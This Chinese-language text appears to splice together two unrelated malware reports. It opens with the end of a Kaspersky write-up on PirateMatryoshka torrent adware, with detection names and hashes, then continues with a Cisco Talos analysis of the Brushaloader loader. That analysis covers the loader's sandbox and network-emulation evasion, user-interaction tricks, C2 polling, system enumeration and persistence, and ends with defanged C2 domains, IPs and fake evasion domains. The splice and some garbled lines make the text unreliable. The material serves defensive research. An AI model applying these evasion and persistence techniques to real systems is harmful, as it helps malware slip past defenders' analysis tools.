另外两个文件是用VisualBasic编写的自动注册器,它们是阻止用户取消附加软件安装所必需的(在这种情况下,网络犯罪分子是空手而归)。自动注册器在安装程序之前运行; 检测到安装程序窗口时,他们会选中复选框并单击所需的按钮,以便用户同意安装不必要的软件。

搜索合作伙伴下载程序窗口并单击它们

由于PirateMatryoshka,受害者的计算机充斥着破坏用户和浪费系统资源的有害程序。另外,文件合作伙伴计划的所有者通常不会跟踪其下载程序中提供的程序。 我们的研究表明,合作伙伴安装程序提供的五分之一的文件是恶意的 – 我们遇到的是pBotRazy等等。

合作伙伴程序下载程序可以做的事

结论

网络犯罪分子总会有新的欺诈行为。在这种特殊情况下,他们采用了一种通过torrent跟踪器分发恶意内容的方法,以在用户计算机上安装广告软件。结果,许多TPB用户不仅在他们的机器上安装了广告软件或恶意软件,而且他们的帐户也被盗取。

卡巴斯基实验室解决方案通过以下判断检测PirateMatryoshka及其组件:

· Trojan-Downloader.Win32.PirateMatryoshka
· Trojan.Win32.InstClick
· AdWare.Win32.StartSurf
· AdWare.Win32.SmartInstaller
· AdWare.Win32.Generic

IOCs

· 66860309953dc7cd7faee88ec90a81f6
· 7576b8677975261fbb1e799d0231ec01
· 64dc8f3197607dbf652b985edb99ad4e
· 035cff7c52460a69f77a0a09db05a6f7
· a85f90f07dd9e8aab51c65d8287ec6be
· a857ae5cb87b23359ed70b8177aa44d3
· 45d4df9b38a8f8da385714f32415cd34

钓鱼域名

· www.mobilekey[.]pw

一、总结

在过去几个月中,思科Talos一直在监控各种恶意软件分发活动,他们利用恶意软件加载程序Brushaloader向系统提供恶意软件载荷。当前Brushaloader的特点是使用各种脚本,如PowerShell,以最大限度地减少受感染系统上的工件数量。Brushaloader还利用VBScript和PowerShell的组合来创建远程访问特洛伊木马(RAT),允许在受感染的系统上执行持久性命令。

随着攻击者不断改进并添加其他功能,Brushaloader正在积极开发和完善。自2018年中期以来,我们已经确定了该威胁的多次行动。我们观察到的与Brushaloader相关的大多数恶意软件分发活动均利用针对特定地理区域的恶意电子邮件来分发各种恶意软件载荷,主要是Danabot。Danabot已在此处( here)和此处( here)详细描述,因此本文将重点介绍Brushaloader自身的分析。Talos最近发现与Brushaloader相关的恶意软件分发活动数量显著增加,各种技术和规避功能以及沙盒逃避的实施导致检测率显著降低。

ThreatGrid中提供的高级命令行审计和报告功能可以更有效的分析Brushaloader等威胁。诸如Brushaloader之类的威胁证明了确保在大多数企业环境中的端点上启用和配置PowerShell日志记录的重要性。

二、BRUSHALOADER的历史

引起我们注意的第一个Brushaloader活动可追溯到2018年8月。最初引人注目,是因为它只使用针对波兰受害者的波兰语电子邮件。虽然通常会看到威胁以多种语言定位用户,但攻击者通常不针对单个欧洲国家/地区。下面是来自该初次攻击活动中一封电子邮件的示例,其中显示了我们期望从Brushaloader获得的特征:包含Visual Basic脚本的RAR附件,该脚本会导致最终下载和执行Danabot的Brushaloader。

这是此电子邮件的另一个特点,它在所有Brushaloader攻击中保留一个主题:“Faktura”或波兰语中的发票。在接下来的几个月中有一些变化,但无论语言如何,发票和结算都将在这些垃圾邮件活动中发挥至关重要的作用。

就附件本身而言,它通常由一个RAR文件组成,其文件名包含单词“faktura”。RAR文件通常包含一个VBScript,可以扩展其他有效载荷。脚本本身已经有一些与沙箱或网络模拟规避有关的有趣技术,我们稍后将在博客中讨论。该脚本没有被严重混淆,并且使用wscript通过HTTP有效的建立了与硬编码IP地址的命令和控制(C2)通信。在此特定攻击活动中查询的网址为:
· http://162[.]251[.]166[.]72/about.php?faxid=446708802&opt=.

随着时间的推移,一种模式开始出现:活动持续一到两周,然后在重新启动之前安静几周。 攻击者的作案手法大致相同,波兰语垃圾邮件活动与发票或“Faktura”相关,其中包含一个内部带有恶意VBScript的RAR文件。关于这些活动的一个注意事项是停机时间的变化,攻击者正在改进VBScript试图逃避检测和分析以及如何建立C2通信。让我们来看一些例子。

1.网络模拟规避,多路径C2实施

我们分析的第二个主要活动已经添加了一些功能。最初,威胁试图连接到不存在的域名以检查网络模拟等内容。 第二个活动实现了一个“无限”递归循环,如果该GET请求导致HTTP / 200指示成功响应,则该循环继续重复。这是一个显示新功能的快速屏幕截图。

这个简单的代码片段包括对不存在的域名(www[.]dencedence[.]denceasdq)(1)的GET请求,如果提供HTTP / 200以响应该请求所采取的步骤(2),那么当找到HTTP / 200时,最终进入“无限”递归循环(3)。这是一种优雅、简单的方法,用于确定网络模拟是否正在发生并延迟恶意执行。这些简单的技术在避免某些类型的检测和分析方面非常有效。

几天后推出的攻击活动已经进行了一些其他的修订。早期版本的脚本仅通过硬编码的IP地址进行通信。 此攻击活动在域名和硬编码IP之间实现了随机选择。以下是此类演变的一个示例。

最上面的函数显示初始C2请求。可以看到该请求包含一些新的变量和功能(1),随机选择DaLoweRsxMinsa函数(2)中下面列出的两个选项之一。 在这里,可以看到硬编码的IP地址(192[.]3[.]204[.]226)和响应相同路径但托管在不同服务器上的域名(emailerservo[.]science)。随着时间的推移,这一特定功能将在接下来的几个月内保持一些微妙的变化。

2.添加到混淆的合法URL

在接下来的几个攻击活动中,在9月底和10月初,在使用不存在的域名以及尝试混淆C2通信方面进行了细微的更改,但没有发生重大变化。10月初,攻击者添加了第三个合法域名,如下所示:

在这里,攻击者已经将google[.]com添加到C2通信的潜在来源。在接下来的几个月里,合法网站包括www[.]ti[.]com和www[.]bbc[.]com等网站。这是沙盒逃避的另一种简单方法,其中VBScript定期只会向合法域发送请求。

3.简洁版本出现

2018年10月期间发生了更为重大的变化,删除不存在域名的检查,在wscript中实现注册表检查,以尝试从注册表中读取值。使用此进行某些权限检查,但所有用户都可以查询HKEY_CURRENT_USER。下面是该检查实施时的屏幕截图。

这种检查和功能相对来说是短暂的,因为在10月的最后几天,攻击者完全脱离了WScript,并将大部分功能直接转移到了Internet Explorer。除了切换到Internet Explorer进行Web通信之外,VBScript也得到了极大的简化,从一个4KB的文本文件变为小于1KB。 下面是整个VBScript的屏幕截图。 删除了大多数检查和规避技术,除了一些扩展的sleep命令以便使一些沙盒技术超时。

请注意,突出部分显示了脚本创建与C2服务器通信的不可见IE实例。此外,攻击者们完全停止使用域名,并使用硬编码的IP地址返回托管所有内容。

4.新攻击针对新语言

也是在这个时候,思科Talos开始观察到垃圾邮件活动,开始定位除波兰语之外的语言。第一个涉及多种语言的活动在同一时间推出,德语活动的一个例子如下所示。

此特定活动的主题侧重于所得税申报表。但是,电子邮件的正文引用了未付账单的附件,如果不汇款,则会对收件人提起法律诉讼。 攻击者还利用了“Faktura”转换为德语结算这一事实,而不是波兰语的发票。

在11月中旬之后的几周,攻击者开始重新实现一些不存在域名的检查,其示例如下所示。

在这个特定的实例中,攻击者会向http://someserver/folder/file[.]pdff发出一个HTTP请求,如果找到HTTP / 200则实现一个循环。几天后,攻击者再次转移,从使用硬编码IP地址转向利用域名进行初始C2通信。

5.11月底大修

11月底的活动带来了VBScript的全面重新实施,实现了一些改进。 第一个变化是VBScript首先创建一个文件系统对象,它允许攻击者开始读取和写入磁盘文件。

该脚本启动下面的函数,该函数立即使用文件系统对象。

WriteFile和readFile函数如下所示,允许将文件写入系统并由脚本读回。请注意,这些呼叫之间有几秒钟的睡眠时间。

WriteFile函数专门在临时文件夹中创建一个文件,然后将ASCII文本“test”与vbCrLf一并写入文件,这是VBScripting早期的遗留物,有效地返回值“\ r \ n” 创建一个新行。 然后,readFile函数读取包含“test”的行,并将其存储在变量strLine中供稍后使用。

然后攻击者引入了有效的睡眠函数,然后调用函数HttpsSend。这是C2通信中发生的一些重大变化。下面是HttpsSend函数。

这里有一些重要的变化需要注意。 首先是攻击者已经转向HTTPS,并正在使用域名而不是硬编码的IP。此外,请求类型已从GET更改为POST。发出请求后,响应将被存储并最终进入数组。 此时,在调用另一个函数Emulator之前,将实现另一个10秒的快速睡眠,如下所示。

Emulator函数正在检查以确保先前在脚本中创建和写入的文件有效,并从文件中读取存储行的值为“test”。如果文件具有预期的内容,则脚本将执行上面查询的C2服务器发送的任何命令,并将其存储到数组“ArrAddMyArray”中。 回到主函数,可以看到这是在一个while循环中完成的,它允许重复的请求和执行。

本节中描述的所有各种活动都是适度的,并在11月底停止。攻击者和loader在12月和1月的大部分时间保持安静。然而,1月下旬和2月初情况发生了变化。

三、当前的攻击活动

1月下旬,一个新的垃圾邮件活动开始发布包含Visual Basic脚本(.vbs)的恶意RAR文件。当时大多数垃圾邮件都是波兰语,针对波兰用户。所有文件名和主题都集中在发票上,通常使用“Faktura”或类似术语。此活动从主要以波兰语为基础的电子邮件开始,这是此loader的典型情况,其示例如下所示。

这遵循我们期望从brushaloader活动中获得的标准模板,以波兰语中的“Faktura”为主题,并附带包含恶意VBScript文件的附加RAR文件。 此攻击的另一个有趣方面是活动中存在多种其他语言。最值得注意的是,我们还发现了其他意大利语垃圾邮件,其中一个例子可以在下面找到。

意大利语版本有一些细微差别。具体来说,他们使用“Fattura”而不是“Faktura”,主要是因为“Fattura”是意大利语中“发票”这个词。基本模板相同,包含一个包含恶意VBS文件的发票主题RAR文件。

就附件而言,11月底的前一版本还有一些额外的改进,但整体功能基本相同。

此活动中最重要的变化之一是向PowerShell迁移,远离以前用于执行命令、收集系统信息和提供额外有效载荷的wscript。此外,此活动的规模与我们之前从Brushaloader未见过的规模相当,可能表明loader已准备好进行更广泛的分发,并且有可能在欧洲以外的地区实现。新功能的完整细节将在博客的后续部分中介绍,以便更深入的了解发生的HTTPS C2通信。

这场运动在2月的第一周结束,此后活动大部分都是黑暗的。在过去的半年中,Brushaloader已经从一个基于VBScript的新loader转变为越来越先进且日益扩散的威胁。下面的时间表说明了Brushaloader的发展有多么积极。Brushaloader将成为继续前进的有趣威胁。

四、逃逸/反分析技术

在许多企业网络中,引入环境的文件会自动提交给自动分析平台,例如沙箱,它将执行文件并观察系统活动,以确定文件是恶意的或良性的,然后才能将文件传输到最初的系统。威胁行为者了解这些安全控制措施,并经常采用创新机制绕过它们。在大多数情况下,这些机制旨在最大限度地减少恶意文件活动的数量,以便自动分析平台不会将文件检测为恶意文件,并允许将其进一步传输到网络环境中。

有一些技术使用sleep定时器,设置恶意软件在恢复恶意执行之前等待预定义的时间段。在其他情况下,恶意软件分发者会利用受密码保护的电子邮件附件,要求用户在打开附件之前输入信息。这些技术通常是成功的,因为许多自动检测和分析平台没有设计此交互模型,因此无法正确启动感染。Brushaloader也不例外,我们最近观察到利用多种技术来最大化Brushaloader感染的成功率。

1.用户互动

在过去几个月的Brushaloader攻击活动中,我们观察到的一项变化是使用恶意软件下载程序,这些下载程序需要用户在受感染系统上执行恶意行为之前进行交互。攻击者通常会利用需要用户交互的感染进程来绕过自动分析平台(如沙箱)。

对于Brushaloader,恶意电子邮件包含RAR档案。RAR存档通常包含VBScript(VBS),负责向攻击者控制的分发服务器发出HTTP请求来下载恶意PE32可执行文件。VBScript调用一个对话框,打印斐波纳契数列字符:

默认情况下,执行VBS时,系统上会显示以下对话框。

在选择“确定”按钮之前,VBS文件中存在的下载器函数不会激活。这种用户交互要求可能会导致许多自动分析平台出现问题,这些平台未配置为正确处理此类要求。与大多数商品恶意软件分发商使用的下载器相比,这种方法通常会导致检测率显著降低。

2.假域名

在各种Brushaloader攻击活动中利用的下载程序脚本也使用无效域名作为确定下载程序是否在网络模拟分析环境中执行的方法。在许多恶意软件分析环境中,网络模拟允许分析人员与恶意软件样本进行交互,即使恶意软件请求的资源不可用。当C2基础架构不再可用时,或者在缺乏Internet连接的环境中进行分析时,这尤其有用。有几个可用的实用程序提供此功能 – 最常用的两个是inetsimFakeNet-NG

在Brushaloader中,他们甚至使用不存在的顶级域名(如www[.]weryoseruisasds[.]oedsdenlinsedrwersa或仅仅是用主机名取代是像someserver这样的合法域。显然,这些域名都不能解析,它可以进行简单的测试,以确定是否正在使用网络模拟。在某些方面,此技术还可用于帮助检测受感染的主机,并从另一方面说明了为什么记录DNS解析可以成为分析人员和安全团队的宝贵工具。

五、LOADER功能

一旦初始感染过程开始,就开始执行先前描述的多阶段VBS。受感染的系统向C2基础设施发出HTTP POST请求。然后,脚本引擎执行对HTTP POST请求的响应。服务器发送WScript.Sleep命令会延迟此循环。

第一阶段VBS负责执行以下编码的PowerShell命令:

此编码的PowerShell执行三次并解码为:

这会导致对C2基础设施的HTTP请求以及要获取和执行的另一组PowerShell命令。

这个PowerShell一旦解码,看起来像这样:

此代码负责与受感染系统建立远程交互式会话,然后在受感染系统上执行命令获得取命令输出。此时,脚本循环,等待从C2基础设施发送的其他命令。该通信信道还用于各种Powershell命令的获取和执行,这些命令负责使用收集和传输有关系统的信息。

上面的Powershell传递给IEX并执行,结果传回C2服务器:

从上面的屏幕截图中可以看出,loader尝试枚举被感染系统的以下信息:

· ProcessorId

· Windows操作系统版本

· 当前登录用户

· 已安装的防病毒产品

· 系统制造/制造商

· Powershell版本

· IP地址信息

· 有效内存

· 当前的工作目录

· 系统安装日期/时间

· 显示适配器信息

然后,所有这些信息可用于确定是否使用其他恶意软件有效载荷感染系统,或者在模块化恶意软件框架(例如Danabot)的情况下应将哪些模块分发到系统。在我们观察到的感染中,这是分发给受感染系统的最终有效载荷。

在受感染系统上运行的Powershell进程还通过创建添加到系统Startup目录的Windows快捷方式(LNK)来实现持久性:

LNK快捷方式包含Powershell,它负责查询注册表项的内容,以便在每次重启系统时执行其他命令。

此注册表位置包含以下Powershell:

以上Base64编码的Powershell解码为:

这会导致恶意软件通过HTTPS与C2服务器通信,获取C2发送的任何可用命令。

六、攻击活动随时间变化

自2017年中期以来,思科Talos一直在监控与Brushaloader相关的恶意软件分发活动。从历史上看,与其他商品恶意软件分发活动(例如Emotet)相比,活动数量相对较少。 在我们分析的大多数情况中,大多数分发活动发生在每个月末。但最近,一切改变了,我们观察到malspam活动的数量和持续时间显著增加。

下面的图表显示了当前分发活动与2018年大部分时间观察到的活动量的比较。

除了分发活动的数量的变化之外,我们还观察到与预期恶意电子邮件收件人的相关统计数据的变化。最初,这些攻击活动使用了相对较窄的定位,其中大部分电子邮件都是针对波兰的收件人量身定制的,我们观察到新的攻击活动也针对德国、意大利和其他国家/地区的目标接收者。

七、总结

威胁形势正在发生变化 – 恶意软件和分发恶意软件的机制(如Brushaloader)也是如此。本文概述了这些loader如何不断变化和发展的另一个关键例子。使Brushaloader脱颖而出的原因是威胁攻击者正在迅速的改进loader,它正在积极开发中。此外,值得注意的是,经过12月和1月的长时间休息后,loader已经开始大规模爆发。从专门针对波兰用户的小规模活动开始,无论是规模还是目标国家都在扩大。Brushaloader所做的区域特定限制策略并不常见。

这也是这些loader可以拥有的混淆和复杂程度的关键例子。这个简单的基于VBS的活动以最少量的代码实现了几种巧妙的规避和混淆技术,表明攻击者将继续思考,并开发新的方式来向用户传递威胁。这就是为什么用户需要在全球范围内具有可见性的组织的原因,因为这个成功的loader开始被其他想要传递威胁的攻击者利用只是时间问题。我们将继续监控这一威胁及其提供的有效载荷,并将继续保持警惕,保护我们的客户。

IOC

恶意附件

RAR FILES

与恶意RAR存档关联的哈希列表参见此处( here)。

VBS FILES

与恶意VBS文件关联的哈希列表参见此处(here)。

域名

· cheapairlinediscount[.]site
· emailerservo[.]science
· faxpctodaymessage[.]press
· faxpctodaymessage[.]space
· faxpctodaymessage[.]website
· faxzmessageservice[.]club
· fazadminmessae[.]info
· housecleaning[.]press
· hrent[.]site
· i·repare[.]site
· macmall[.]fun
· managerdriver[.]website
· mantorsagcoloms[.]club
· mediaaplayer[.]win
· mobileshoper[.]science
· plomnetus[.]club
· ppservice[.]stream
· progresservesmail[.]science
· proservesmail[.]science
· proservesmailing[.]science
· searchidriverip[.]space
· servemai[.]science
· servemaining[.]science
· serveselitmail[.]science
· serveselitmailer[.]science
· servesmailelit[.]science
· servesmailerpro[.]science
· servesmailerprogres[.]science
· servespromail[.]science
· servicemaile[.]science
· serviveemail[.]science
· servoemail[.]science
· servomail[.]science

IP 地址

· 107[.]173[.]193[.]242
· 107[.]173[.]193[.]243
· 107[.]173[.]193[.]244
· 107[.]173[.]193[.]246
· 107[.]173[.]193[.]247
· 107[.]173[.]193[.]248
· 107[.]173[.]193[.]249
· 107[.]173[.]193[.]250
· 107[.]173[.]193[.]251
· 107[.]173[.]193[.]252
· 107[.]173[.]193[.]253
· 162[.]251[.]166[.]72
· 172[.]245[.]159[.]130
· 185[.]212[.]44[.]114
· 192[.]3[.]204[.]226
· 192[.]3[.]204[.]228
· 192[.]3[.]204[.]229
· 192[.]3[.]204[.]231
· 192[.]3[.]204[.]232
· 192[.]3[.]204[.]233
· 192[.]3[.]204[.]234
· 192[.]3[.]204[.]235
· 192[.]3[.]204[.]236
· 192[.]3[.]204[.]237
· 192[.]3[.]207[.]115
· 192[.]3[.]207[.]116
· 192[.]3[.]207[.]117
· 192[.]3[.]207[.]118
· 192[.]3[.]207[.]119
· 192[.]3[.]207[.]120
· 192[.]3[.]207[.]123
· 192[.]3[.]207[.]124
· 192[.]3[.]207[.]125
· 192[.]3[.]207[.]126
· 192[.]3[.]31[.]211
· 192[.]3[.]31[.]214
· 192[.]3[.]45[.]90
· 192[.]3[.]45[.]91
· 192[.]3[.]45[.]92
· 192[.]3[.]45[.]93
· 192[.]3[.]45[.]94
· 64[.]110[.]25[.]146
· 64[.]110[.]25[.]147
· 64[.]110[.]25[.]148
· 64[.]110[.]25[.]150
· 64[.]110[.]25[.]151
· 64[.]110[.]25[.]152
· 64[.]110[.]25[.]153
· 64[.]110[.]25[.]154

假域名 (沙箱逃避)

· www[.]analiticsmailgooglefaxidload[.]onlinsedsa
· www[.]wewanaliticsmailgooglefaxidload[.]oeenlinsedsa
· www[.]lovisaaa[.]oedsdenlinsedrwersa
· www[.]weryoseruisasds[.]oedsdenlinsedrwersa
· www[.]dencedence[.]denceasdq
· www[.]goooglwas[.]freesaf
· dgdfgdfgdfg
· faxdaytodayd
· mailsssssssssssdddaas[.]com
· mailsmessage[.]comssaaa
· mailsmaasessage[.]comssssaaa
· sssaaalllsaallsaaaasssaaa[.]comssssaaa
· lvelalslllasaasss[.]lllassaassaa
· 1122212121212[.]1221212
· 00000000000000[.]11111111
· 11111[.]222222222222
· someserver
· someserversdfdfdf[.]111
· www[.]wikipedia[.]000212[.]nl
· wikipedia[.]112000212[.]com